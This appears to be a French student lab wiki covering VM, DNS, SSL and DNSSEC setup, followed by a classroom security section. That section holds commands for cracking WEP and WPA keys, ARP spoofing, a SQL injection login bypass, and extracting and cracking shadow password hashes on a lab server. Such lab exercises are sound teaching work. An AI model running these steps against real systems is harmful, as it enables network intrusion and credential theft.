TP sysres IMA5sc 2020/2021 G11

De Wiki d'activités IMA

Sébastien DARDENNE - Corto CALLERISA

Adressage

Groupe Domaine Distribution IP (privée) IP (publique) VLAN IPV4 IPV4 6509-E IPV4 C9200 IPV4 Routeur IPV6
Groupe 11 stropharia.site Debian 10 Buster 100.64.0.18 193.48.57.178 311 10.60.111.0/24 10.60.111.1 10.60.111.2 10.60.111.254 2001:660:4401:60bd::0/64

Mise en place de la machine virtuelle Xen

Creation de la VM

Après nous être connecté sur le serveur capbreton.plil.fr, nous créons la machine virtuelle du TP avec la commande :

root@capbreton:~# xen-create-image --hostname=stropharia --password=****** --ip=100.64.0.18 --gateway=100.64.0.5 --netmask=255.255.255.0 --dir=/usr/local/xen --dist=buster

Cette commande spécifie les information de connexion à la VM ainsi que des informations réseau et la dernière version de Debian : Buster

Configuration OSPF sur 9200

router ospf 1                                                                                                                                                  
router-id 10.60.0.2                                  
log-adjacency-changes                                                                                  
summary-address 193.48.57.176 255.255.255.240                                                                                                                    
summary-address 100.60.0.0 255.240.0.0 not-advertise  
summary-address 10.0.0.0 255.0.0.0 not-advertise                                                                                                                  
redistribute connected subnets                        
redistribute static subnets route-map ospf                                                                                                                            
network 192.168.222.8 0.0.0.7 area 2

Configuration LVM

Les disques de capbreton ont été initialisé pour l'utilisation avec LVM :

pvcreate /dev/sde
pvcreate /dev/sdf

Ces disques sont ensuite rassemblés dans le volume groupe storage :

vgcreate storage /dev/sde /dev/sdf

On obtient bien un groupe de 5.46 Tb :

root@capbreton:~# vgdisplay storage
 --- Volume group ---
 VG Name               storage
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  59
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                38
 Open LV               37
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       69632 / 272.00 GiB
 Free  PE / Size       1360894 / 5.19 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc

On crée alors deux volumes logiques de 10 Go qui nous servirons de /var et /home :

lvcreate -L10G -n stropharia-home storage
lvcreate -L10G -n stropharia-var storage

Voici le résultat :

root@capbreton:~# lvdisplay | grep "stropharia" -A 15
 LV Path                /dev/storage/stropharia-home
 LV Name                stropharia-home
 VG Name                storage
 LV UUID                ofMU3m-QoN1-pZcA-32Dp-HJBN-ZNAn-O3awlc
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 17:40:11 +0200
 LV Status              available
 # open                 1
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:18
  
 --- Logical volume ---
 LV Path                /dev/storage/stropharia-var
 LV Name                stropharia-var
 VG Name                storage
 LV UUID                8YAGLs-wD0c-6pSF-VEmC-wUfT-e9SI-8X9nFn
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 17:40:15 +0200
 LV Status              available
 # open                 1
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:19

Mise en place des partitions

On formate nos partitions au format ext4 :

mkfs.ext4 /dev/storage/stropharia-home
mkfs.ext4 /dev/storage/stropharia-var

On note ces modifications dans /etc/xen/stropharia.cfg

disk       = [
             'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
             'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
             'phy:/dev/storage/trompettedelamort1,xvda3,w',
             'phy:/dev/storage/trompettedelamort2,xvda4,w'
           ]

On lance maintenant la VM et l'on s'y connecte :

xl create -c /etc/xen/stropharia.cfg
xl console stropharia


Après avoir monté et peuplé les partitions, on ajoute dans /etc/fstab

/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

pour que le montage des partitions soit fait automatiquement à chaque démarrage.

4.1 Serveur SSH

Afin de rendre accessible notre VM par SSH, nous décommentons la ligne

PermitRootLogin yes

du fichier sshd-config. On restart ensuite le service pour prendre en comte la modification avec la commande

sytemctl restart sshd

On test la connection :

$ ssh root@ns1.stropharia.site
root@ns1.stropharia.site's password:

La connection ssh fonctionne donc. Update : On peut aussi se connecter en avec

ssh root@www.stropharia.site

4.2 Serveur DNS

Nous configurons d'abord nos paramètres DNS dans gandi avant de confgurer la VM.

Dans Glue Records nous ajoutons le namespace et son IP : ns1.stropharia.site / 193.48.57.178 Dans Name Server nous ajoutons ce DNS et le secondaire : ns1.stropharia.site | ns6.gandi.net

Nous allons utiliser l'implémentation open-source de DNS bind pour créer une association entre notre nom de domaine et l'IP de notre VM.

On commence par créer le fichier /etc/bind/db.stropharia.site

$include /etc/bind/stropharia.site.dnssec/stropharia.site-ksk.key
$include /etc/bind/stropharia.site.dnssec/stropharia.site-zsk.key
$TTL    604800
@       IN      SOA     ns1.stropharia.site. root.stropharia.site. (
                             13         ; Serial
                           3600         ; Refresh [1h]
                            600         ; Retry [10mn]
                          86400         ; Expire [1d]
                            600 )       ; Negative Cache TTL [1h]
;
@       IN      NS      ns1.stropharia.site.
@       IN      NS      ns6.gandi.net.
@       IN      MX      42 ns1
ns1     IN      A       193.48.57.178
www     IN      A       193.48.57.178
ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefb:8339
www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefb:8339

Les parties mail et ipv6 font partie de la suite du TP, mais on peut voir les différents TTL pour le SOA (Start of Authority) ainsi que notre notre serveur de nom et l'adresse de l'hote.

Afin d'avoir une trace personnelle, un record dans le fichier de zone à la forme suivante :

Format: host label ttl record class record type record data
Example: example.com 60 IN A 104.255.228.125

Et les différentes record types sont :

  • A (Host address)
  • AAAA (IPv6 host address)
  • ALIAS (Auto resolved alias)
  • CNAME (Canonical name for an alias)
  • MX (Mail eXchange)
  • NS (Name Server)
  • PTR (Pointer)
  • SOA (Start Of Authority)
  • SRV (location of service)
  • TXT (Descriptive text)

On ajoute maintenant la zone dans le fichier /etc/bind/named.conf.local :

zone "stropharia.site" IN {
        type master;
        file "/etc/bind/db.stropharia.site.signed";
        allow-transfer {217.70.177.40;};
};

(On utilise le fichier signé pour sécuriser l'accès https, fait par la suite)

On modifie également le fichier named.conf.options :

options {
        directory "/var/cache/bind";
        dnssec-validation auto;
        listen-on-v6 { any; };
        allow-transfer { "allowed_to_transfer"; };
        dnssec-enable yes;
};
acl "allowed_to_transfer" {
 217.70.177.40/32;
};

Afin d'autoriser le transfert des informations au DNS secondaire 217.70.177.40.

On test alors la configuration :

# host -t any stropharia.site ns6.gandi.net
Using domain server:
Name: ns6.gandi.net
Address: 2001:4b98:d:1::40#53
Aliases:
stropharia.site mail is handled by 42 
ns1.stropharia.site.
stropharia.site name server ns1.stropharia.site.
stropharia.site name server ns6.gandi.net.
stropharia.site has SOA record ns1.stropharia.site. 
root.stropharia.site. 13 3600 600 86400 600

On conclue que le DNS est fonctionne correctement.

4.3 Sécurisation de site web par certificat

Cette section décrit les étapes nécéssaire à la sécurisation par un accès https.

Le résultat est le suivant : Https stropharia.png

Procedure

Dans cette partie nous suivons la procédure détaillée de gandi : https://docs.gandi.net/fr/ssl/operations_courantes/csr.html.

Celle-ci consiste à générer les clés avec la commande

openssl req -nodes -newkey rsa:2048 -sha256 -keyout stropharia.site.key -out stropharia.site.csr

Et de demander à gandi de signer le certificat .csr afin d'obtenir le .crt. On note que le prix annoncé de 12€ passe à 0€ lors du paiement si c'est le premier.

Avant de délivrer le certificat signé gandi doit vérifier que nous possédons bien le nom de domaine. Pour cela une des méthodes possibles est d'envoyer un mail à admin@stropharia.site.

Configuration du serveur de mail pour la vérification

Nous utilisons le programme postfix pour la récupération des mails.

Après l'avoir installé nous ajoutons un un alias entre l'utilisateur admin et root afin de recevoir le mail de gandi sur un utilisateur existant.

#vi /etc/aliases
# See man 5 aliases for format
postmaster:    root
admin:    root

Afin de recevoir les mails nous ajoutons aussi la ligne suivante au fichier /etc/bind/db.stropharia.site

@       IN      MX      42 ns1

Pour l'agent de courriel nous utilsons Bsd-mailx :

apt-get install -y bsd-mailx #install mailx
postalias /etc/aliases # met à jour la base des alias pour prendre en compte admin:root
mailx #lancement de la commande pour voir les mails recus

On clique ensuite sur le lien et gandi et entrons le mot de passe de vérification reçu. Peut après on peut télécharger notre .crt ainsi que le fichier GandiStandardSSLCA2.pem.

Finalement on place ces fichiers à coté de notre clé privée dans le répertoire /etc/ssl

#ls /etc/ssl | less
GandiStandardSSLCA2.pem
certs
openssl.cnf
private
stropharia.site.crt
stropharia.site.key

Configuration d'apache2

Une fois le CSR signé nous devons configurer apache 2 pour gérer du HTTPS sur le port 443.

On commence par l'installer :

apt install apache2

puis on active le module ssl :

a2enmod ssl

On configure ensuite le fichier /etc/apache2/sites-enabled/000-default.conf pour rediriger le traffic http du port 80 vers le port 443 :

<VirtualHost *:80>
        ServerName www.stropharia.site
        Redirect / https://www.stropharia.site
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ...
</VirtualHost>

et configurer les mots clés SSLCertificateKeyFile, SSLCertificateFile et SSLCertificateChainFile pour la connection sécurisé selon l'énoncé :

<VirtualHost _default_:443>                                                     
  ServerName www.stropharia.site                                                
  DocumentRoot /var/www/html                                                    
  SSLEngine On                                                                  
  SSLCertificateFile /etc/ssl/stropharia.site.crt                               
  SSLCertificateKeyFile /etc/ssl/stropharia.site.key                            
  SSLCertificateChainFile /etc/ssl/GandiStandardSSLCA2.pem
  SSLVerifyClient None                                                          
</VirtualHost>

Nous ajoutons également un record dans le fichier /etc/bind/db.stropharia.site pour définir www.stropharia.site :

www     IN      A       193.48.57.178

On rédémarre le service apache

service apache2 restart

et l'on vérifie en allant sur www.stropharia.site que nous somme bien redirigés sur le site https avec un certificat valide. (capture en haut de la section)

4.4 Sécurisation de serveur DNS par DNSSEC

Nous suivons à la lettre les 9 étapes de la procédure de l'ennoncé 4.4 : https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau004.html.

De ce fait, après avoir généré nos clé, signé la zone et communiqué la partie publique de la clé KSK nous vérifions le résultat avec le site https://dnssec-analyzer.verisignlabs.com/ :

Dns stropharia.png

5.1

5.2 Cassage de clef WEP d’un point d’accès WiFi

Voir la liste des interfaces

airmon-ng

On passe notre interface en mode monitor

airmon-ng start wlx40a5efd2140c

On lance un scran des réseaux wifi

airmon-ng --encrypt wep wlan0mon

On capture les paquets

airdump-ng --write crack11 --channel 3 --bssid 04:DA:D2:9C:50:5A wlan0mon

On lance le crack de la clé

aircrack-ng -z crack11-01.cap
KEY FOUND! [F1:DE:D4:00:00:00:00:0F:FF:FF:FF:FF:FF ]

5.3

Voir la liste des interfaces

airmon-ng

On passe notre interface en mode monitor

airmon-ng start wlx40a5efd2140c

On regarde les réseaux pour avoir le BSSID

airodump-ng wlan0mon

On lance la commande capture sur le channel 5 et on attend le handshake

airodump-ng --write donnees -c 5 --bssid 00:14:1B:60:8C:2A

Pendant ce temps-là, nous créons le dictionnaire pour le brutforce

crunch 8 8 0123456789 > dictionnaire.txt

Pour gagner du temps, nous divisions ce dictionnaire en 4 parties

split -l 25000000 dictionnaire.txt dictionnairediv.txt

On lance le brutforce sur plusieurs machine

aircrack-ng -a2 -b 00:14:1B:60:8C:2A -w dictionnairediv#.txt donnees-01.cap

Crackwpagrp11.jpg

5.4 Attaque "homme au milieu"

Commande afin de voir les paquets entre la machine et le routeur

arpspoof -i eth0 -t 172.26.145.57 172.26.145.254 

Ensuite, on peut visualiser les paquets reçu avec wireshark.

5.5 Intrusion sur un serveur d’application Web

Sur site honey.plil.info, on exploite la faille avec une injection SQL dans l'id et le mdp:

' OR 1 = 1 --

On constate qu'il y a un service SSH et un serveur apache avec la commande suivante:

nmap -T4 -A honey.plil.info

Avec l'utilisation des manuels on extrait le fichier de configuration phpmyadmin afin d'avoir les identifiants pour se connecter honey.plil.fr/phpmyadmin. Il est important de se connecter en root avec le même mdp.

Dans la BDD, on retrouve un compte d'un utilisateur ayant les droits sur la machine. On se connecte donc en SSH avec son compte et on extrait les fichier password et shadow.

Nous allons donc utiliser john pour trouver le mdp root. De plus, nous créons notre dictionnaire avec crunch et sed en utilisant l'indice du sujet.

Je lance donc la commande suivante:

john --wordlist=dictionnaire password.txt unshadow.txt > output.txt

Mdp trouvé et connexion en root(Groupe11):

Honeygroupe11.png

6.1 Installation Raid5

Création des partitions sur capbreton

lvcreate -LG -n stropharia-part1 virtual
lvcreate -LG -n stropharia-part2 virtual
lvcreate -LG -n stropharia-part3 virtual

Modification du fichier stropharia.cfg

'phy:/dev/virtual/stropharia-part1,xvda5,w'
'phy:/dev/virtual/stropharia-part2,xvda6,w'
'phy:/dev/virtual/stropharia-part3,xvda7,w'

On recrée notre VM

xl destroy stropharia
xl create -c /etc/xen/stropharia.cfg

Création des volumes et formatage

mdadm --create --verbose /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0
mkds -t ext4 /dev/md0

Mount des partitions

mount /dev/md0 /mnt

Nous pouvons donc maintenant perdre un disque en gardant les données de la machine virtuelle.

7.1 Architecture de la ferme

Création d'un bridge dans les paramètres de la machine virtuelle stropharia.

Ajout d'une interface dans les 2 VM en modifiant /etc/network/interfaces.

Ajout de la mascarade

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.42.25 
iptables -A FORWARD -j ACCEPT -d 192.168.42.25 
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.25  --to 193.48.57.178

Création de la clef publique et commande pour la transmettre aux VM.

cat ~/.ssh/id_rsa.pub | ssh username@remote_host "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"

Rôle motd (adriagalin.motd)

ansible-galaxy install adriagalin.motd

7.2 Installation de docker

Installation du rôle geerlingguy.docker

ansible-galaxy install geerlingguy.docker

Pour adapter le rôle à debian buster, il faut modifier les variables suivantes dans le playbook:

docker_apt_gpg_key: https://download.docker.com/linux/debian/gpg
docker_apt_repository: deb [arch=amd64] https://download.docker.com/linux/debian buster stable

On peut donc lancer l'installation (uniquement sur stropharia)

ansible-playbook dockerplaybook